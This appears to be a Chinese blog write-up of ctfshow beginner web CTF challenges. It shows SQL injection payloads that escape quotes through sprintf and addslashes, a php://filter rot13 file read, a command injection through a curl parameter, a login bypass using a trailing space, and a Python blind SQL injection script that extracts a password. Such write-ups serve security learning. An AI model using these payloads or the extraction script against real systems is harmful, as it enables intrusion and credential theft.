ctfshow web 萌新赛

给他

谐音.git
在这里插入图片描述
用githack还原文件
在这里插入图片描述

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>
用addslashes函数进行转义
它会在以下字符前添加反斜杠(\):

单引号 (')
双引号 (")
反斜杠 (\)
NULL 字符
sprintf 利用的原理是%1$\为空,所以我们构造%1$'单引号前的转义符会被置空。从而实现单引号逃逸

在这里插入图片描述
?name=admin&pass=%1$’ or 1=1%23

在这里插入图片描述
同时发现多了个cookie
在这里插入图片描述

php://filter/convert.base64-encode/source=/flag
发现被过滤了这里只能使用rot13
php://filter/read=string.toupper|string.rot13/resource=/flag

得到flag还要解密,我都忘了

签到题

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

闭合就行

?url=;tac flag;

数学及格了

靶机没了

假赛生

扫一下发现
有登录和注册页面

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }else{
            echo "you not admin";
        }
    }
}
?>

这里有个name是admin,我们就注册就行了,后面加个空格绕过
然后登录之后传c为空就有flag
在这里插入图片描述
不行有点搞笑,感觉像qj

萌新记忆

用户名为admin

#author:羽
import requests
url='http://bbdf98cd-7839-4c00-938d-3d1e20bbfc25.challenge.ctf.show/admin/checklogin.php'
s= '0123456789abcdefghijklmnopqrstuvwxyz'
flag=''
for i in range(1,18):
        print('*')
        for j in s:
            data={"u":"'||substr(p,"+str(i)+",1)<'"+j,
                          "p":"1"
                }
            r=requests.post(url,data=data)
            #print(r.text)
            if "密码错误" == r.text:
                flag+=chr(ord(j)-1)
                print(flag)
                break
  • 5
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值